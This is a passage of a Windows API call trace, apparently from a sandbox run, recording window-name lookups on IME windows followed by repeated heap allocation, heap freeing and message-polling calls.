[0140.012] GetClassNameW (in: hWnd=0x1018a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.012] GetWindowTextW (in: hWnd=0x100fe, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.012] GetClassNameW (in: hWnd=0x100fe, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.012] GetWindowTextW (in: hWnd=0x100fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0140.012] GetClassNameW (in: hWnd=0x100fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0140.012] GetWindowTextW (in: hWnd=0x100f0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.012] GetClassNameW (in: hWnd=0x100f0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.012] GetWindowTextW (in: hWnd=0x100e4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.013] GetClassNameW (in: hWnd=0x100e4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.013] GetWindowTextW (in: hWnd=0x20074, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0140.013] GetClassNameW (in: hWnd=0x20074, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078308 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10783b0 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078560 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x10784a0 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0x1078320 | out: hHeap=0xe80000) returned 1 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeba4f8 | out: hHeap=0xe80000) returned 1 [0140.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.013] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec450 | out: hHeap=0xe80000) returned 1 [0140.013] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.013] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0140.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0140.014] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.014] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.014] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec490 [0140.015] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec490 | out: hHeap=0xe80000) returned 1 [0140.015] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.015] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.015] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0140.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0140.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.016] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.016] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec790 [0140.016] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec790 | out: hHeap=0xe80000) returned 1 [0140.017] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.017] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec650 [0140.017] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.017] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec650 | out: hHeap=0xe80000) returned 1 [0140.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0140.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.018] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0140.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.018] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.018] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec690 [0140.019] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec690 | out: hHeap=0xe80000) returned 1 [0140.019] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7798 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7798 | out: hHeap=0xe80000) returned 1 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.019] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.019] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeecad0 [0140.019] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeecad0 | out: hHeap=0xe80000) returned 1 [0140.020] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.020] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.020] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.020] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.020] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.021] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.021] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec5d0 [0140.021] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec5d0 | out: hHeap=0xe80000) returned 1 [0140.124] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.124] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.124] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.125] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.125] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.125] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.126] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.126] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.126] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec7d0 [0140.126] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec7d0 | out: hHeap=0xe80000) returned 1 [0140.127] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf9e8 [0140.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.127] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7778 [0140.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7778 | out: hHeap=0xe80000) returned 1 [0140.127] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf9e8 | out: hHeap=0xe80000) returned 1 [0140.128] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec950 [0140.128] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.128] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec950 | out: hHeap=0xe80000) returned 1 [0140.128] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7798 [0140.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7798 | out: hHeap=0xe80000) returned 1 [0140.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.129] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.129] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec850 [0140.129] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec850 | out: hHeap=0xe80000) returned 1 [0140.130] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf998 [0140.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7a38 [0140.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7a38 | out: hHeap=0xe80000) returned 1 [0140.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.130] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf998 | out: hHeap=0xe80000) returned 1 [0140.130] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0140.130] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0140.131] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec410 [0140.131] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.131] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec410 | out: hHeap=0xe80000) returned 1 [0140.131] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.131] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed77b8 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed77b8 | out: hHeap=0xe80000) returned 1 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeec6d0 [0140.132] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeec6d0 | out: hHeap=0xe80000) returned 1 [0140.132] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa28 [0140.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7938 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7938 | out: hHeap=0xe80000) returned 1 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.132] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeafa28 | out: hHeap=0xe80000) returned 1 [0140.132] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca90 [0140.132] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca90 | out: hHeap=0xe80000) returned 1 [0140.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf948 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf958 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7998 [0140.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7998 | out: hHeap=0xe80000) returned 1 [0140.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf958 | out: hHeap=0xe80000) returned 1 [0140.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf948 | out: hHeap=0xe80000) returned 1 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x38) returned 0xeeca50 [0140.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.133] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeeca50 | out: hHeap=0xe80000) returned 1 [0140.133] PeekMessageW (in: lpMsg=0xbdf794, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xbdf794) returned 0 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeafa38 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x8) returned 0xeaf928 [0140.133] RtlAllocateHeap (HeapHandle=0xe80000, Flags=0x0, Size=0x18) returned 0xed7998 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xed7998 | out: hHeap=0xe80000) returned 1 [0140.134] HeapFree (in: hHeap=0xe80000, dwFlags=0x0, lpMem=0xeaf928 | out: hHeap=0xe80000) returned 1 [0140.134] HeapFree (in: 